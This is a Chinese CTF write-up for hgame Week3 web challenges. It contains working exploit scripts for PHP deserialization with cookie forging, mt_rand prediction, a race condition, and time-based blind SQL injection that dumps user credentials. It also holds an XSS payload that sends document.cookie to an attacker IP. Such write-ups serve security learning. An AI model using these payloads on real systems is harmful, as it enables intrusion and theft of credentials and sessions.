D~DIDI~DIDIDI!!!!

0%

hgame-Week3

序列之争 - Ordinal Scale

这道题目是一个打怪升级,冲到第一就能够获得flag的web程序,F12大法看得到提示,可以得到源码,开始代码审计

1

主要代码有3个,index.php和game.php都是前端渲染相关的,游戏的主要处理代码都在cardinal.php中,整个代码读下来大概就是,开始游戏,传入姓名参数,进入game界面 –> 生成一个怪物,并将怪物信息经过一些拼接处理放入cookie的moster中,点击页面的挑战按钮,开始打怪,比较人物和怪物的等级,等级低者获胜,人物获胜可以随机获得等级(排名)上升和经验值

2

但是这里后台做了处理,人物排名最高就为2,所以需要想办法开挂绕过,毕竟桐老爷不也是开挂才赢的吗?手动滑稽.jpg

3

明白了整体流程,开始寻找突破口,我们前面已经知道,页面加载会产生怪物信息,经过处理放入cookie中,找到相关处理代码,进行了序列化

4

并且在moster类里面也存在反序列化的操作,从这个题目的名字和这里,大概率是要利用反序列化漏洞了

5

现在开始分析一下,这个cookie中monster的构成

setcookie('monster', base64_encode(serialize($this->monsterData) . $sign));

这句代码首先将monsterData这个参数序列化

1
2
3
4
$this->monsterData = array(
'name' => $monsterName[array_rand($monsterName, 1)],//随机或者一个怪物名字
'no' => rand(1, 2000),//随机产生一个no,数量??战斗力??=>怪物等级
);

序列化后,在和sign字符串进行拼接,sign这段字符是将序列化的monsterData与一个密钥拼接后md5加密的值

最后再将拼接起来的字符串base64 encode后放入了cookie中

6

但是在这里我们想要构造cookie,去利用反序列化在这里出现了一些限制

在代码的unserialize之前会有一个检查的操作

7

这里就需要我们知道encryptKey的值,继续读代码,encryptKey来源于game类的sign属性,找到了一处可利用的地方

8

这里传入的data参数为数组[$playerName, $this->encryptKey],元素中含有 encryptKey 。 分析⼀下这个⽅法的功能,这个 init() ⽅法是⽤来初始化欢迎语 welcomeMsg 以及 sign 。 其中欢迎语 welcomeMsg 的⽣成中使⽤了 sprintf 函数,且放在⼀个循环内,第⼆轮循环的 $value 值 即为 encryptKey 。因此存在格式化字符串漏洞。

进⼊游戏,输⼊名字: %s ,即可使得在第⼆轮循环中 %s 的值被 sprintf 函数换成 encryptKey 。

点 击 Link Start,就可以拿到 encryptKey

9

接下来就是利用反序列化来构造cookie,但 Rank 类的析构函数:

10

在设置 Session 前会⽐对 key 以及 serverKey 的值,其中 serverKey 是来⾃于服务器的环境变量,这 个值我们⽆法获得。这里我们在构造exp的时候,直接不设置$key属性,直接构造一个Rank类,反序列化时就会直接读取Rank类中的默认属性,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Rank
{
private $rank = 1;
}
$data = ['xianyu','gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'];
$sign = '';
foreach($data as $value){
$sign .= md5($sign . $value);
}

$rank = serialize(new Rank());
echo(base64_encode($rank . md5($rank . $sign)));
?>

得到cookie,使用xianyu进入game,替换掉

Tzo0OiJSYW5rIjoxOntzOjEwOiIAUmFuawByYW5rIjtpOjE7fTAyY2Q3YmU2OGVlZTYxZTlhNGZhOWYxNjUyOTcwZmNj

11

二发入魂!

直接放参考资料

https://ambionics.io/blog/php-mt-rand-prediction

https://github.com/ambionics/mt_rand-reverse

github上提供了计算脚本,写exp的时候调用脚本来计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import os
import re
import requests
s = requests.session()
url = "https://twoshot.hgame.n3ko.co/random.php?times=228"
cookie = {'PHPSESSID':'5j6ubh4n8t69oqk1gd4gj2jti1'}
c = s.get(url,cookies = cookie)
ans = str(c.text)
ans = eval(ans)
R0 = ans[0]
R227 = ans[227]
req = 'python reverse_mt_rand.py '+str(R0)+' '+str(R227)+' 0 0'
p = os.popen(req)
x = p.read()
p.close()
x = str(x.replace('\n',''))
url2 = "https://twoshot.hgame.n3ko.co/verify.php"
data = {"ans":x}
final = s.post(url = url2,cookies = cookie,data = data)
print(final.text)

But,难受的事情来了,不知道是我电脑计算能力不够,没办法在两秒钟算出来,还是什么原因,无法获取到flag,难受.jpg

Cosmos的二手市场

这道题登陆进入之后,是一个物品交易平台,购买物品后可以卖出,但是卖出时会收取一定比例的费用,

主要的考察点就是条件竞争,关于这方面的知识点,搜索一下就有很多

可以使用bp的爆破,分别为购买和卖出设置不同线程(卖出>购入),同时卖出量也要大于购入量,就可以触发条件竞争,获得更多的收益,达到要求后就可以得到flag

同时也可以直接写脚本,官方提供的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import threading
import json
import time
import requests

def worker(i,data):
if i % 2 == 0:
url = "{}?method=solve".format(host)
else:
url = "{}?method=buy".format(host)
try:
s.post(url=url,data=data)
except:
print("请求失败")
return

host = "http://121.36.88.65:9999/API/"
user = {
"name" : "five",
"password" : "123456"
}

s = requests.session()
s.post(url="{}?method=login".format(host), data = user)

i = 1

while True:
data = {
"code": "800001",
"amount": "50"
}
info = json.loads(s.get("{}?method=getinfo".format(host)).text)
money = info['data']['money']
properties = info['data']['properties']
print(money)
print(properties)
if money > 100000000:
print(s.get("{}?method=getflag".format(host)).text)
break
if i % 2 == 0:
amount = int(properties[0]['amount'])
else:
amount = money // 1000
if amount > 500:
amount = 500
data['amount'] = amount

for j in range(30):
t = threading.Thread(target=worker,args=(i,data))
t.start()

time.sleep(5)
i += 1

Cosmos的留言板-2

登陆留言板后,删除留言处存在盲注,这里使用的是基于时间的盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
result = ""
cookie ={"PHPSESSID":"01b9hcfu09budsjeeg651vef3h"}
for i in range(1,50):
print("正在测试第",i)
for j in range(37,127):
#url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)%3ddatabase()),"+str(i)+",1))%3d"+str(j)+",sleep(5),1)%23"
#messages,user
#url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)%3d'messages'),"+str(i)+",1))%3d"+str(j)+",sleep(5),1)%23"
#message_id,user_id,message
#url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)%3d'user'),"+str(i)+",1))%3d"+str(j)+",sleep(5),1)%23"
#id,name,password
#url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select(group_concat(id))from(user)),"+str(i)+",1))%3d"+str(j)+",sleep(5),1)%23"
#1,2,3,4,5,6,7......
#url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select(group_concat(name))from(user)),"+str(i)+",1))%3d"+str(j)+",sleep(5),1)%23"
#cosmos,yd0ng,admin1,gug......
#url = "http://139.199.182.61:19999/index.php?method=delete&delete_id=if(ascii(substr((select(group_concat(password))from(user)),"+str(i)+",1))%3d"+str(j)+",sleep(5),1)%23"
# f1FXOCnj26Fkadzt4Sqynf6O7CgR,yd0ng,admin1,jing......

one_time = time.time()
r = requests.get(url,cookies=cookie)
#print(r.text)
two_time = time.time()
if two_time-one_time >= 5:
result = result+chr(j)
print('answer:',result)

然后就可以得到用户名和密码,用Cosmos的用户名和密码登陆,就可以在留言板看到flag

hgame{sQl_InjEct10n_iS_e4sY!!}

Cosmos的聊天室2.0

第二周题目的加强版,过滤了script字符串,双写就可以绕过,同时绕过过滤后,并没有正常执行xss,在控制台中也发现了一些警告

12

从警告可以知道我们输入的内容被Content Security Policy给拦截了emmm,其拦截策略为,限制内联js和应用静态资源时只能同源中加载,而这道题恰好给我们提供了一个,发送信息到留言板的功能,这里会返回,过滤后的脚本

13

这个发送功能由/send这个接口提供,所以我们就发给机器人的脚本中,就可以让机器人带着我们的payload去调用这个接口,

如:<scrscriptipt src="/send?message=alert(123)"></scrscriptipt>

所以这里我们的payload为:

很难受,我构造的全部失败了,持续等大佬WP

在vps上起一个web服务,用于接收

1
2
3
4
5
6
7
8
9
from flask import *
app = Flask(__name__)
@app.route('/')
def hello_world():
response = make_response("<script>window.open('http://IP/'+document.cookie)</script>")
response.headers['Access-Control-Allow-Origin'] = '*'
return response
if __name__ == '__main__':
app.run(host="0.0.0.0",port=80)

At last

20200217